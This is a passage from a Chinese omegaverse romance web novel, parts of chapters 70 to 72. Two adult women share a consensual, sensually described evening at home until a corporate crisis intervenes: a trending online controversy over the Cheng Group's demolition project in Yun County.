程卿言摸了摸她冰凉的脸,明知故问:“院子这么冷,为什么陪它们来院子玩了,屋里不能玩?” 姜映眨了眨眼,说:“也不是很冷。” 程卿言笑了一声,拉着她进屋,凑到她耳边说:“想早点见到我?” 姜映红着脸,嗯了一声,主动伸手抱住她,柔声道:“很想你。” “有多想?”程卿言下巴搁在女生肩上,脸颊舒服地蹭着她的脖子。 姜映抱紧她,又羞又诚恳地说:“朝思暮想。” 程卿言眼睫颤动,心口痒酥酥的,嘴角扬了起来:“说这种话,已经在哄我了?” “是实话,”姜映耳朵有点红,有点不好意思地,“你喜欢听吗?” 程卿言笑了一声,在alpha通红的耳朵上亲了一下:“喜欢。” 姜映眸光颤动,视线落在女人的红唇上:“姐姐。” “嗯?”程卿言看出了她想做什么。 姜映问:“我能吻你吗?” 又变成了懂礼貌的乖宝宝了,看来上次是被这人惹急了,才如此激烈地吻她。 程卿言摸了摸她的脸:“不行。” 姜映可怜地看了着她,明明不想答应,还是忍了忍,哦了一声。 女人不想亲,她不会为难她,让她生气。 程卿言的拒绝是真的,但不想亲是假的。 不是不想,而是不能,不能再这会儿亲,她太疲惫了,若是吻出了感觉停不下来,她怕她晕过去。 被小姑娘吻晕? 多丢人。 得先吃点东西补充体力,饭后再将体能药吃了,才能去做别的。 回来的路上就点了餐,她们在玄关处抱了会儿,晚饭就送来了。 姜映认真地给程卿言洗了手,细致地给她擦干水珠,盛饭夹菜,无微不至地伺候着她用餐。 程卿言忽然问:“你会不会觉得我在欺负你?” “不会,”姜映眼眸弯弯看着她,诚恳道,“我喜欢做这些事,有一种幸福的感觉。” 程卿言心口一软,捏了捏她脸,柔柔道:“坏东西。” 饭后姜映收拾餐桌。 程卿言坐在沙发上休息,吃了体能药,按着遥控器选了一部电影,见女生走了过来,她拉她坐下,问道:“这个电影你看过吗?” 姜映摇头:“没有,你呢?” “我也没有,”程卿言按了播放,“就看它吧。” 姜映:“好。” 客厅里的大灯已经关了,只有两盏暖黄昏暗的氛围灯开着,安静地看了几分钟电影。 程卿言说:“我觉得不好看。” “我也觉得。”姜映赞同道。 程卿言轻笑一声,本来是想体验一下一起看电影的感觉,但喜欢的人就在旁边,呼吸体温香味都离她很近,心思无法放在无聊的电影上,于是按了退出,找了部评分很好的综艺节目看了起来。 她躺下,头枕在女生腿上,看了会儿综艺节目,翻身平躺着,牵着女生的手问:“你怎么不长肉?” 姜映眨眼,没明白她想表达什么:“啊?” 程卿言伸手摸了摸女生的细腰:“肉太少了,骨头有点明显,有点硌。” 姜映呼吸一颤:“那我去拿个枕头来垫着?” “不了,就这样,”程卿言看着她,“你以后多吃点米饭,长长身体。” 姜映觉得她不长肉是体质原因:“我已经成年了,吃再多的饭也不会长身体了。” 程卿言吻了吻她的指尖:“吃饭不能长了?” 姜映指尖轻颤,点头,眸光落在女人的红唇上。 alpha变重的呼吸声落入耳畔,程卿言唤道:“姜映。” 姜映喉咙滚动:“嗯?” “喝奶可以,”女人握住alpha的手没入衣摆,落在心口的温暖起伏处,嗓音低缓,“想长身体吗……”《 》 70-75 第71章 继续 继续 第七十一章 近日雨水多,断断续续,落一会儿停一会儿,此刻夜雨又下了起来,随着寒风倾斜,雨痕打湿了落地窗。 院子里植被多,雨滴落于叶面时发出了滴滴答答的声音。 拉面丸子在院子里的狗屋里睡觉,发出了此起彼伏的鼾声。 屋外这些嘈杂混乱的声音,传不进屋内。 屋内一片暖意,原本开着的电视,不知道在何时关掉了,只有昏暗的氛围灯亮着,落在沙发上两道交错的身影上。 “想长身体吗?” “喝奶可以。” “要吗姜映?” 女人看着alpha的眼睛,连续说三句话,在说话的同时,握着alpha手隔着内衣覆在了心口起伏的温度上。 姜映掌心瞬间热了起来,喉咙吞咽,声音沙哑:“姐姐……” 此情此景,她即使再单纯木讷,也听出了女人的言外之意,而且她近期也不是很单纯,直接被勾得心跳加速,听得耳朵通红,既害臊又喜欢。 “不想?”程卿言在女生手掌附在心口那一秒,即便有间隔,女生的也没乱动。 可她能感受到对方掌心的温度,仅仅只是这样,就有了一点点感觉,好在处于她能承受的范围里,声音依旧正常,依旧是把控全局的主人。 姜映眼尾红红的,嗓音有些哑:“想……” “那你在等什么,”程卿言看着她的眼睛,“还想我喂你?” “可,可以吗?” 姜映脑子热得有些懵了,下意识应了一句,说出来之后才反应过来自己说了什么,羞耻得有些不敢看女人,但眼神也只移开了一两秒,又恋恋不舍地自觉移了回来,平日澄澈的眼眸里此刻染上了欲念。 眸光浮动,掌心收了收, 前扣,经常去实验室,动手能力强的好学生操作几下,咔哒几声轻微的响声过后,细腻圆满沉甸甸地温度毫无阻隔地落在她掌心。 “嗯……” “姐姐?” 程卿言眉心颤动,喉间发出一声难捱的闷哼声,alpha听见后叫了她,但是没给她说话的机会,在她微微张开嘴要回复时,女生直接吻住了她的唇。 她所有的词句都幻做断断续续的呼吸声,悉数被对方的唇舌接纳,心口的温度也渐渐被时轻时重的包容揉碎。 个子高的alpha四肢纤细修长,也长了一双好手,不仅时常被人夸好看,在实验室做实验时,也经常被夸灵活。 姜映既想听女人夸她,又想继续吻她,可是接吻时不能说话,不说话就无法听见反馈,片刻后她发现无需说话,她也可以知道反馈了。 数据点在戳她掌心,从左到后,右边的数据点也在她的掌心反馈了实验结果。 无人指导,姜映自己得到了实验结果,实验数据直白地给了她反应,她指腹细撚着数据点,反复研究着数据点。 她喜欢听的声音变得越来越多,直到感觉到女人不能呼吸,开始咬她的唇了,她才停止了吻她,眸光颤动地看着女人,凑到女人耳边:“姐姐。” “嗯?”程卿言视野里的光源变得模糊,眼尾泛红,心口处涨涨的。 姜映羞涩地说:“好可爱。” 这坏东西在说什么。 害不害臊。 程卿言脸颊很热,浑身不太舒服,捏了捏她耳朵,哑着声音道:“不尝尝?” 程卿言对生活环境要求比较高,在物质上从不亏待自己,家里除了床,沙发就是她待得最多的地方,平时也会在沙发上午休,因此沙发很舒服,宽敞,材质也是最好的。 她此刻是坐在alpha腿上的,alpha单手抱着她面对面坐着,女生询问她要不要躺着。 “不要,要抱着。” “好,我抱着你。” 女生一边回应她,一边开始吻她了。 如同三月的雨落在了炎热的八月,绵延细腻,热烈却不失温柔地吻她眼尾的氤出来的泪痕,吻她的鼻梁,吻她的嘴角,抿了抿她唇,断断续续吻着。 程卿言呼吸有些快,在女生吻着她的下巴,有继续往下的趋势时,她配合地扬了扬脖子。 从公司回到家,程卿言吃了晚饭就坐在沙上看电视了,还没去洗澡,因此身上的衣服并没有换。 西装外套在进屋时就脱掉了,这会儿穿着白色缎面衬衫和西装裤,缎面衬衫容易皱,此刻已经皱得不成样,扣子还是整整齐齐的系着。 心口那部分的布料的颜色已经变深了,衣服上留下了牙印,程卿言眼睫颤动,掌心不由自主用力按在alpha后颈上,眼睫颤动,微微垂眸便能看见女生在做什么。 在长身体。 衬衫的纽扣渐解。 程卿言腰腹颤了颤,难捱地在心里骂了句坏东西。 坏东西看起来文静讲礼貌,怎么一点用餐礼仪都不讲,用餐时弄出这么大的声响,听得让人耳朵发烫。 食不言寝不语,不懂吗。 她推了推她。 姜映抬眸她,细心问道:“不舒服吗?” 程卿言呼了口,看着alpha的鼻梁和嘴唇,最终没说什么摇头。 姜映视线落在她红唇上,又凑过去吻她的唇。 很快程卿言就发现这人的心思,好像哪都想吻,对哪都很留恋,抬头低头变来变去,贪心。 但她没管她,她没有觉得不舒服,几分钟后,她扯了扯女生的头发:“你还要亲多久?” “再一会会。”姜映很喜欢。 程卿言:“有点麻,你不要总是吻这两处。” 嘴唇还好,心口那里真的有点麻。 女生垂眸认真给她检查,颜色确实变成了深红色,知道女性心口这一片很脆弱,她已很刻制很温柔了,掌心没有用力,牙也轻轻。 姜映心疼地抚了抚,内疚道:“疼不疼?” 程卿言眉心一颤,打开她的手,哽咽:“别乱碰……” 还没缓过劲儿,有些不好受,瞧着女生担忧的眼神,她趴在她肩膀上,贴着她的耳朵喃喃道:“我没有不舒服,休息一会儿就行了。” “真的吗?”姜映确认。 程卿言哼了一声:“不然?” 若是不舒服,她早就推开她了,可不会等到现在。 姜映抱着她的腰,见她有点困,体贴道:“那你休息会儿。” 程卿言嗯了一声,阖上眼睫,就这样坐在女生腿上休息几分钟:“我要去洗澡了。” 姜映:“我抱你去?” 程卿言笑了一声,睁开眼嗔了她一眼。 抱什么抱,她们又没做,她只是有点乏了,又不是累坏了,走路的力气还是有的。 alpha不会以为吻吻她,她就不行了吧,把她想得这么弱? 程卿言才不会承认自己弱,呵了一声。 “你松开我。” “哦。” 程卿言起身站在她跟前,衬衫最上端的几颗纽扣没扣,马上要去洗澡,她也懒得动手系上了。 她坦坦荡荡,alpha瞥见时,直接羞得红了耳朵,不好意思地移开了眼。 程卿言见怪不怪了,知晓她就是这种停下就会害羞的性子,也不知道什么时候能改掉。 这会儿的纯情模样,仿佛方才又吻又揉的人不是她似的。 程卿言径直往卧室走,往前走了几步,停住脚步侧头,恰好抓住了正在眼巴巴偷看她的alpha,直接笑出声,歪头看着她:“你在做什么?” 姜映红着脸,不好意思,但是诚实:“看你。” “看哪?” “你让我吻的地方。” “喜欢?” “嗯。” 又纯又色的坏东西。 程卿言懒得理她了,扬着嘴角去了浴室,泡澡会耽搁时间,她的休息时间不多,想和女生多相处会儿,选择了淋浴。 温热的水淋在身上很舒服,但和女生比起来,差了点感觉,她还是更喜欢女生温度。 不过姜映怎么回事,居然只是吻她,没有做其它更加亲密的事情,只是吻了她。 是不想做,还是在忍着? 应该不是不想吧,吻她疤痕那晚,认真又迷恋,她能感受到她喜欢。 那是为什么? 程卿言虽然想,也来了感觉,底裤上的痕迹很明显,她脱衣服时瞧见了,但方才的情况,若是还需她主动开口要,岂不是显得她很没吸引力。 而且她没有洗澡,如果做起来,确实不太舒服。 洗澡时认真想了一会儿,程卿言呼了口气,关上淋浴,穿好睡裙出去了。 罢了,方才也挺舒服的,不做就不做吧,对她也有好处。 姜映在客厅等着她,见她出来了,起身走到她身旁,眼眸含笑看着她。 程卿言摸摸她的脸,问她:“什么事这么开心?” “见到你。”姜映告诉她心里话。 程卿言扬唇轻笑,同一屋檐下,分开这么一小会儿就开始想念了,若是以后分开很长一段时间,见不到面,这人可怎么办。 不会思恋成疾吧。 好在她们不会分开很长一段时间,即使有一方需要长期出差,现在的交通这么发达,程家也有私人飞机,只要想见面,总能见到的。 除非…… 不在同一个世界了。 程卿言拧了下眉心,特效药马上成功了,她没必要去想这些不会发生的事情,增添自己的心理负担。 “几点了?”她问。 姜映拿起手机看了一眼:“八点四十六了。” 时间还早,程卿言重新坐在沙发上,打开电视,和她一起看起了综艺,她问道:“里面有人认识的人吗?” 姜映摇头,闲聊道:“我不怎么关注娱乐新闻,你认识吗?” “认识一些,名气大的我知道。”程卿言如实告诉她,并且给女生介绍了她认识的。 她这几年的重心已经没放在程氏影业了,没有怎么关注娱乐圈,也不知道那些出道不久的人是谁。 姜映耐心地听着:“你说的这些人和云小姐谁更厉害?” 程卿言笑了一下,捏了捏她的脸:“当然是云秋染。” 她说这话不是因为云秋染是她朋友,云秋染确实有这个能力,颜值与实力并存,目前国内没有比云秋染更火的明星了,名副其实的顶流。 姜映:“你和云小姐认识很久了吗?” “快十年了,”程卿言说,“怎么了?” 姜映:“没什么。” 程卿言捏着她的下巴,在她脸上亲了一下:“等你实习结束,我也不那么忙了,我带你去和她一起吃顿饭。” 虽然姜映和云秋染见过一次,但那次姜映喝醉了,神志不太清楚,她也没正式介绍她们认识,过段时间,她得把姜映正式介绍她的朋友们认识,让女生走进她的生活。 姜映笑了一下,应了一声,想了想道:“到时候我可以带上我室友吗?” “和你关系很好吗?”程卿言问。 “很好,”姜映给她解释,“我有个室友叫周青月,她是云小姐的事业粉,前段时间没有抢到见面会的门票,在寝室哭了很久。” 原来是这样,程卿言点头:“你想带就带吧,只要你的朋友愿意去。” 都是双方的好友,一起见见面也是应该的,她也想走进姜映的生活。 姜映眼眸含笑看着她,嗯了一声:“我到时候问问她们。” 程卿言笑了一声,云秋染事业心重,很少参加娱乐性质的活动,若不是业内人士,或者是关系好的朋友,很难见到她,这小姑娘也算是帮朋友追星了。 聊了会儿天,她的注意力又落在了电视上,这综艺确实挺有趣的,难怪热度这么高。 程卿言不是古板无趣的人,她懂得享受生活,兴趣爱好也很多,只是平时工作太忙了,没有休息时间,才让她显得枯燥了些。 她来了兴趣,能看进去。 坐在她旁边的姜映对这些节目没有任何感觉,最开始还能陪着女人看一会儿片刻之后,时不时听见女人的轻笑声,她就被吸引力,注意力全落在了女人身上。 眸光轻颤,侧头专注地看着女人。 轻笑时红唇扬起了好看的弧度,胸腔也会随之起伏。 女人已经洗了澡,此刻穿着缎面浅灰色睡袍,面料易皱,且薄,内里樱桃的轮廓,清晰地映了出来。 身上淡淡的沐浴露花香和体香融合在一起的味道,与屋内的青竹香氛的味道碰撞在一块儿,絮绕在姜映的鼻息间。 姜映掌心热热的,眼眸里的情绪浮动,不由自主滚了滚喉咙。 她轻轻呼了一口气,看了眼时间,女人已经坐着看了半个小时的综艺了,姜映眉心拧了下,抿唇瞥了眼电视。 综艺的时长为什么这么长。 可女人看得很愉悦,她不想打扰她。 终于,在十六分钟后,这一集综艺结束了。 程卿言正想拿遥控器按下一集,她的手腕被alpha发热的手心轻轻握住了。 “姐姐……” alpha叫她的声音哑哑的。 程卿言心口挑了一下,耳朵发痒,侧眸看着女生眼眸里涌动的欲念,女生不懂得收敛:“怎么了?” 姜映问她:“你休息好了吗?” 程卿言说:“差不多了。” “你可不可以不看电视了?”姜映有礼貌地和她商量。 程卿言挑眉:“不看电视,你想让我做什么?” 姜映脸眼尾有些红:“想吻你。” 程卿言捏着她的下巴,快速在她唇上亲了一下,问:“行了吗?” 姜映摇头,眼眸盯着她的唇,按在她腰上的手也微微用了些力气,凑到她耳边羞耻道:“姐姐还可以让我长身体吗?” 声音很小,很羞耻,她自己说出来后,脸颊瞬间通红,不好意思地将脸埋在了女人的颈窝。 呼吸全落在了她脖子上,程卿言颤了一下,掌心揉了揉alpha的后脑勺:“方才不是吃过了吗,还不够?” 姜映嗯了一声。 程卿言捏她的耳朵,语气纵容:“你很贪心。” 姜映颤睫,她认同女人的话,小声道:“你之后可以惩罚我。” “之后”惩罚。 此刻呢? 话音落下,姜映已经吻住了女人的唇,一边吻着一边软软地喊着姐姐。 程卿言眉心颤动,在女生腰上掐了几下,心里骂了几句坏东西,便微微张开双唇。 如此几分钟后,她呼吸着,察觉到女生的吻落在了她的下巴上,并且在往下,她躲开了,制止道:“不可以。” 吻吻嘴唇,差不多就行了,其它地方不可以,她可不想等会儿又不上不下的,给自己找罪受。 女人不是在开玩笑,声音虽然起伏着,但语气很坚定,姜映红着眼尾看着她,呼吸很热,低沉地嗯了一声。 片刻后又商量:“真的不可以吗?” 程卿言:“嗯。” 姜映安静片刻,垂眸看着她的心口出,思忖片刻问道:“是不是刚才我做的不好?” 好学生爱思考,遇见问题会去总结反思,找到问题的根源,努力去解决。 虽然女人刚才已经告诉她没有觉得不舒服,但这个回答并不代表她做的很好,不舒服和舒服之间,还存在着一般。 一般。 既不难受,也不快乐。 所以会拒绝了。 姜映欲念的根源是想让女人快乐,如果她是一般,那她就得努力改正。 程卿言听懂了她的意思,摸了摸她的脸:“姜映。” 姜映:“嗯?” “我很舒服。”程卿言直白地告诉她。 姜映颤睫:“那为什么……” “但是我也很难受,”程卿言打断她,看着她的眼睛,直白道,“你不做别的,也不管别的地方,我会难受。” 女人在说话时,拉着alpha的手下落,让alpha感受她难受的地方。 在挨着那一瞬,程卿言腰肢颤了颤,继续道:“想继续吻我吗,想的话,你就得理她,揉一揉她……” 第72章 吻醒 吻醒 第七十二章 程卿言清楚她近期的身体情况,孙影的提醒她也记在了脑子里,她不会不把自己的身体当回事。 尽量戒欲,在状态好的时候还是可以的,只要不过分折腾,在她能承受的范围里就行。 就比如今日,眼下,她的精力还行。 早早地准时下班,回来的路上在车里休息了一会儿,又吃了晚饭和体能药,她能感觉到她的状态还可以,有精力和姜映来一次。 可程卿言了解自己,她喜欢姜映,如果真的彻彻底底来一次,体验过后她应该不会满足于此,一时间会对此兴奋上头痴迷,可能会一晚反复来好几次。 一旦开始,就不想停。 所以程卿言一直没有主动提出来,即使在洗澡之前,她们已经吻成那样了,也有了感觉,但女生没有进行下一步,她也没骂她招惹她,又不管她。 难受就难受些,忍忍就过去了,亲亲抱抱也挺好的,这样对她的身体有好处。 对于这事,在她信息素紊乱彻底好起来之前,她随缘了,并不强求。 可是程卿言的忍耐是有限度了,已经忍了一次,若是再来,她觉得她受不了这种折磨,会疯掉。 alpha不满足于接吻,贪心地想长身体,用可怜巴巴的眼神看着她,哀求她。 程卿言也没藏着掖着,直白地将她的需求告诉了她,并且握着alpha的指腹去感受了她的难受之处。 想继续,就得照顾她的难受。 不想,就老实安分些,乖乖陪她看电视。 她将选择权交给了alpha。 姜映眼尾泛红,在隔着小小的布料触碰到女人的难受时,指尖随着心口轻轻颤动几下。 随之而来的是女人的一声闷哼,在她耳边响起。 姜映听得耳朵痒,滚了滚喉咙。 她知道这里能让女人快乐,上次吻女人疤痕时,她也吻了女人这里,没有遗忘,她对此并不陌生。 她也喜欢,并且很想。 今晚第一次吻女人那会儿,姜映就已经很想了,很想继续下去,但她努力地控制住了。 心里像是有一簇火苗在燃烧,若是她将这点微弱的火光放出来,她有种整平原野都会燃烧起来的的感觉。 风吹不灭,只会越燃越大。 正如她对程卿言,总是想见她,想和她亲密接触,想让女人获得无穷无尽的快乐,她也能在女人快乐的时候得到无限满足。 她觉得她对女人很上瘾,吻疤痕那晚,若不是程卿言感冒还没好,体力不支要睡觉了,其实她不想停,想一直继续下去。 她觉得她很贪心,喜欢看女人快乐的时候呈现出来的一切反应,她为此感到兴奋,心脏会为对方强烈地跳动着。 姜映发现她痴迷于女人鲜活有力的心跳和她的心跳交错在一起时的感觉。 从前一直以为自己是情绪很淡的人,对任何事情都不会有激烈的情绪起伏,近期她对她改观了,不断地接触到一个陌生的自己,在女人面前,她无法淡然。 如果她不克制,一旦开始,她担心那个有坏心思的自己会出现,她会控制不住,想一直进行下去,不会停下。 可是姜映有种莫名的直觉告诉她,这样做对女人没有好处,对女人的伤害很大,她不能那样做。 不清楚这种直觉从哪冒出来的,只要她不想停下的坏心思出现,这种直觉就会出现,仿佛是刻在她脑子深处的记忆一般。 姜映害怕伤害到程卿言。 在alpha怔愣思索着几秒,程卿言一直看着她的眼眸,几秒间,满是欲念的眼眸此刻变得更加混乱,增添了许多复杂的情绪在其中。 有克制。 有犹豫。 有纠结。 alpha不是不想,而是不敢。 程卿言呼口气,好奇道:“你在担心什么?” 姜映颤了颤眼睫,红着眼尾看着她,小声地说出了她想法:“我担心我控制不住自己,开始了就不想停,会…会累着你…” 程卿言:…… 就因为这个? 坏东西怎么和她想一块儿去了,她也在担心自己做起来就不想停下。 她有些想笑,凑过去在她嘴角亲了一下:“对我这么痴迷啊?” 姜映羞耻地嗯了一声。 “最近经常想这事?”女人又问。 姜映耳畔通红,难为情地点了点头。 这小傻子。 程卿言指尖抚了抚她的下巴,抬起她的头,让她和她对视着,柔声道:“你别把自己想得太可恶了,即使你对我很痴迷,察觉到我不舒服的时候,你一定会停下的,不是吗?” 姜映眨了眨眼,暂时没应声。 “难道你会强迫我?”程卿言问。 姜映立马摇头:“我想让你快乐。” “这不就对了,”程卿言挑了挑眉,“我相信你。” 姜映眼睫颤动,女人相信她,她有点不相信自己。 程卿言在女生通红的耳畔上吻了吻,边吻边道:“还想继续吗?” 姜映深呼吸:“想……” “那就继续,”程卿言双手勾着alpha的脖子往后躺在了沙发上,alpha附在她上方,她脸颊蹭着她的脖子,缓缓地给女生提要求,“就一次,如果我想继续,你不能听我的,你得制止我。” “啊?”姜映有些为难地看着她,她觉得她连自己的控制不住,还得管姐姐。 女人在为难她。 程卿言轻咬她的耳朵,蛊惑道:“我相信你……” 年轻的alpha哪里受得了成熟姐姐这样的夸奖,嗯了一声,贴心询问道:“要回卧室吗?” 女人想了两秒,摇头:“就在这。” 姜映咽了咽喉咙,心跳加速,吻向了女人,热烈中带着温柔。 客厅里暖黄的氛围灯好像在闪烁,程卿言眼眸里颤着泪光,指尖抓着alpha的背脊。 浅灰色的睡袍落地。 她微微垂眸,瞧见alpha在吻她。 心脏跳动的起伏落入了alpha的鼻息见。 “姐姐。” “嗯……” 程卿言眉心一颤,狠狠在女生的背脊上抓了一下,张了张唇,呼声还没溢出,女生抬头吻住了她的唇。 吻她的同时,很贴心地揉了揉她的腰窝,慢慢往下,正要抚平她的难受,放在茶几上的手机铃声响了。 是程卿言的手机。 alpha在边缘停住,程卿言喘口气道:“不用管……” 姜映续吻她,要继续时,刚停下来的手机铃声又响了,一通接一通一直响着。 随即,姜映的手机也响了起来。 此起彼伏的铃声交错在一起。 太吵了。 氛围都快吵没了。 程卿言眉心拧着,进行不下去了,深呼一口气:“你给我拿一下手机。” 姜映额头上覆细密的汗,面色红润,起身去拿手机。 她手机上的未接来电是秦助理打的,打了一通。 秦助理还给程卿言打了两通,程卿言没接,才给她打的电话找人。 余简予也给程卿言打了电话,不仅如此,还发了很多条微信消息,微信图标上的小红点已经标着九十九加了。 能用如此阵仗找她,肯定不是小事情。 程卿言的神色瞬间严肃,不讲究地捡起地上的睡袍穿上,立马给余简予回了电话:“喂。” “云县那边出事了。” 余简予没有任何废话,语速很快,简略地说了情况。 程卿言眉心皱了起来,回复道:“好,我马上来公司。” 女人的电话还没挂断,门铃响了起来,女人下巴指了指,示意姜映去开门。 姜映应好,快速走到玄关处开门。 来的人是秦助理,也不像平时那样松弛地打招呼,有些着急地问道:“程总呢?” “她回卧室换衣服了。”姜映道。 秦助理点头,神色着急地等着。 程卿言速度很快,半分钟后穿戴整齐出来,先对姜映说:“公司出了点紧急的事,我得去一趟,你照顾好自己。” 姜映点头,不耽搁她:“你快去。” 程卿言这会儿没时间和她多说,迈着大步子上车。 秦助理随即开车起来,车影很快消失在姜映的视野里。 认识程卿言到现在,姜映没有见过对方有过如此严肃的神情,她也跟着担心起来。 可是这种时候,她好像帮不上女人任何忙,只能做到不影响她。 陌生的无力感涌上心头,姜映呼了口气,转身回屋,将客厅打扫干净。 只是沙发那块儿有点乱,其它地方很整洁,她动作利索,很快就收拾好了。 拉面丸子在开门那会儿溜了进来,本来想找她玩,瞧着她神色不太好,也乖乖地没有闹腾,安静地趴在地上呜呜呜地叫了几声,自己咬着球玩。 姜映坐在沙发上,点进微信,有些想问女人发生了什么事,严不严重,有没有她能帮得上忙的地方。 犹豫片刻,还是作罢了。 女人工作上的事情,她确实帮不了任何忙。 客厅很安静,她心里有些烦躁,不知道对方今晚什么时候回来,她走神看着屏幕,拿着手机不知道做什么,从这个APP点到那个APP,点进去后又退出来,反复好几次。 在点进某博的热搜界面时,本来已经要点退出了,眼眸忽然瞥见了一条热度很高的词条。 #程氏集团暴力拆迁# 姜映眸光一凝,快速点进去看了看。 程氏集团要开发城西科技园,选址在云县郊区,居民不愿意搬迁,便威逼利诱,各种施压,在今晚还打伤了居民- 资本家的嘴脸,为了钱真是无所不用其极,坏事做尽- 人家住看一辈子的家,不愿意搬走,还被打,这是什么世道- 拆迁?拆迁不是好事吗?为什么不同意啊,我巴不得成为拆二代- 还能为什么,资本家的贪婪,肯定是拆迁款开的少,又想占人家的地,欺负没钱没势的普通人- 楼上说的没错,我朋友奶奶留下老房子就在那里,今晚那里都传开了,程氏区别对待,对那些没有后辈撑腰的孤寡老人,开出的赔偿款就特别低- 老人也欺负?这种黑心企业怎么不倒闭- 我外婆也住那里,确实和上面说的差不多,程氏还搞了什么针对钉子户的措施,那里是我老家,我不缺那点拆迁款,我要是不愿意拆迁,又怎么了,程氏要做生意关我什么事,我们怎么就成了钉子户了,还要专门针对我们,真是可笑- 就是黑心,才能挣钱,发展得越来越好- 程氏集团,是我知道的那个碚城的程氏集团吗,名声不是挺好的吗,每年做那么慈善,无论哪发生灾害,捐款都是最积极的那一批啊- 面子功夫罢了,做慈善的那点钱和这些资本家挣的黑心钱比起来,完全不值一提- 程氏压榨普通员工也压榨的厉害,天天加班到凌晨,节假日也不放假,我领居家的女儿就在那上班,元旦假期一直在加班,都没有回来过- 我去,还好我毕业那会儿面试没进,当时还伤心了好几天,看来还因祸得福了- 没人能管管这些资本家吗- 谁会管,同流合污,一丘之貉,这条热搜应该马上也会被撤了,过几天这事就没热度了,压下去了,人家又是良心好企业了- 楼上还真说对了,我今晚一直在玩手机,亲眼看见已经撤了好几条了,出现一条撤一条 …… 云县拆迁事故? 姜映怔愣几秒,上次她元旦节回云县老家,她妈妈张芸给她提过外婆留下的老房子要拆迁的事,她当时没过多在意,让张芸和柳絮原去处理这件事,以后得到的拆迁款给柳希未做手术。 和程氏要拆的是同一个地方吗? 云县不大,都是修建科技园,应该是的。 姜映提口气,随即打了电话给张芸。 几秒后张芸接通,她开口问道:“妈妈你知道今晚老房子那边发生了什么事吗?” “老房子那边?”张芸想了想,“我不知道,怎么了?” 这几日是中学生的期末考,她和柳絮原一直在学校忙着监考,没有时间去关注别的事。 姜映也不清楚这事,简略地给她说了热搜上看见的事情。 “区别对待?还欺负老人?不应该呀,开出的价格挺合理的,前几次派来和住户沟通的工作人员也很温和。”张芸有点不相信,“刘老太你还记得吗,以前和你外婆玩得好的姐妹,她脾气多倔啊,一直不同意拆迁的,上周末我听说她也同意了,事情不都解决了吗,怎么又闹起来了,会不会是有误会。” 姜映拜托道:“你能帮忙问一问具体情况吗?” 张芸这些年虽然没有住在老房子那边,但也经常回去走亲访友,维持着人际往来,熟人很多,想要了解到底发生了什么事,不是件困难的事情。 张芸应好:“行,我去问问,等我了解清楚了,就告诉你。” “谢谢妈妈。”姜映道。 “一家人说什么谢,”张芸想了想,问道,“不过你为什么要问这件事?” 她知道她的性子,平日里对什么都不太感兴趣,安安静静地做自己的事,不喜欢卷进复杂的事情里,怎么突然让她打听拆迁的事了。 姜映抿了抿唇,有些不知道该如何解释。 张芸只是随口一问,见她没回答,又问到了别的事情上,关心她最近身体怎么样,研究院的实习是不是很忙,提醒她得注意休息。 聊了几分钟,张芸得去守晚自习了,挂断了电话。 姜映静坐几秒,又点进热搜看了看,方才她瞧见的那条热搜已经被撤掉了,但是新的有关程氏拆迁的词条又出现了,热度在一点点往上涨。 不知道这件事会不会对程卿言造成较为严重的影响,她也不清楚程卿言那边的情况如何了。 她很担心。 * 到了公司,程卿言和余简予回合,径直去了会议室开会。 在来的路上,秦助理就给她汇报了目前的情况。 云县那边确实发生了冲突了,之前已经同意拆迁,谈好补偿的住户,在今晚程氏的人过去做最后一次核实时,还没开始说话,突然返回变卦了,拿着扫帚赶人,住户情绪激动,脚绊在着了门槛摔了一跤。 所有住户都出来围观,见状,指责程氏出手伤人,当面一套背后一套,搞区别对待。 不仅如此,有些人还说程氏把他们列进了名单里,如果不同意搬走,就会用手段对付他们。 很快,这些言论便传到了网上,并且发了视频出来。 抓住了资本家和普通人的矛盾,恶意引导不明真相的路人开始攻击程氏。 负面热搜一条条地出现。 程氏公关部的员工已经全来工作,紧急处理网上出现的虚假负面消息,制止情况进一步恶化下去,若是任其发展,会对影响程氏的股价。 参与项目的高层都在会议室等着,程卿言进来后,没有任何废话,开始处理突发事件。 差异化补偿策略确实存在,但不是像网上传的那样欺负老人,是根据房屋占地面积以及家庭人员结构,合法合规地制定的,面积大人口多,拆迁款自然要多一些。 至于应对钉子户的预案,也是公司必须得做的后续方案,没有问题。 制定好事故应对措施,会议结束,各部门的负责人回工位加班。 程卿言和余简予一起进了办公室,办公室的门紧紧关着。 热搜上的负面舆论,背后一定有人在恶意引导,不然不会发酵得那么快,引导者对程氏的情况也很熟悉。 文件内容是没有感情的,只有冷冰冰的数据和专业术语,但是拆迁地的住户对房子有感情,见到不懂的文件内容,在别人的故意撺掇下,情绪激动也能理解。 但内部制定的钉子户预案和差异化补偿策略属于高机密的文件,不可能外传,拆迁地的住户是从何处知道的。 参与科技园项目的人都是程卿言这些年提拔起来的心腹,能接触到这两份文件的人就能少了,算上程卿言自己,不会超过十个。 程卿言和余简予对视一眼,能确定一件事,内部有人出现问题了。 警惕性得提高,在处理拆迁事故的同时,还得将这件事调查清楚,并且速度得快。 神色严肃地商量着事情,时间一分一秒过去,半个多小时后,余简予点头,起身道:“行,你刚才说的那些我会留意的,这事我亲自查。” 程卿言应好,递给她一份文件。 “那我先回办公室了,”余简予道,“你手上的事处理好后,记得休息会儿,不要熬太晚。” 程卿言不仅是项目的负责人,还是程氏的管理者,她的言论举动对于此次舆论的发展有很大影响,明天清晨她会亲自去一趟云县。 “我知道了。” 程卿言对此有分寸,在对方出去后,她吃了一颗体能药,闭上眼睛靠着座椅静了片刻,两分钟后睁开眼,开始处理工作。 今夜程氏大楼的灯亮了很多盏,凌晨已过,直到深夜,才陆陆续续熄灭了。 程卿言在将近两点那会儿才回了休息室,洗漱过后,疲倦地躺在床上,呼了口气,拿出手机给姜映发消息:【睡了没?】 姜映秒回:【还没有,姐姐你忙完了吗】 程卿言:【差不多了,你回研究院没?】 姜映:【没有,我还在你家里】 程卿言颤了下眼睫,瞬间猜到了女生在等她,心口软软的:【我忙的时候你也可以给我发消息,不会打扰到我的】 姜映:【知道了】 程卿言说:【我有点累,明早还得去云县,已经在办公室的休息室躺下了,就不回来了,你别等我了,自己乖乖睡觉】 姜映主动问:【是去云县的拆迁现场吗?】 程卿言不奇怪她为什么会知晓,对方应该也看到热搜了:【对】 姜映:【我陪你去】 程卿言:【嗯?】 姜映:【我外婆的老房子就在那里,小时候我跟着外婆住了几年,我对那里很熟悉,那里的住户我都认识,姐姐你带上我吧】 姜映自幼就乖巧,安静懂事,学习成绩也是顶顶好,典型的别人家的好孩子,老一辈的人很喜欢她,只要见着她,都会慈祥地拉着她聊家常。 